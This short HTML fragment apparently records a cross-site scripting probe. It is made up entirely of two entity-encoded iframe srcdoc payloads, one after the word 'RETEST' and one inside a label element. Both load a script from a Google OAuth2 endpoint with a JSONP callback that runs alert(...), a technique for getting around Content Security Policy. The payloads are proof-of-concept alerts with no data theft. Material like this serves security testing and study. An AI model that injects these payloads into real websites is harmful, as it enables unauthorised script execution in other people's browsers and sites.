RETEST <>&lt;iframe srcdoc=&quot;&amp;lt;script src=&amp;quot;https://accounts.google.com/o/oauth2/revoke?callback=alert(&apos;document.domain&apos;)&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&quot;&gt;&lt;/iframe&gt;<

<label for="uwtt">&lt;iframe srcdoc=&quot;&amp;lt;script src=&amp;quot;https://accounts.google.com/o/oauth2/revoke?callback=alert(1337)&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&quot;&gt;&lt;/iframe&gt;</label><input id="uwtt">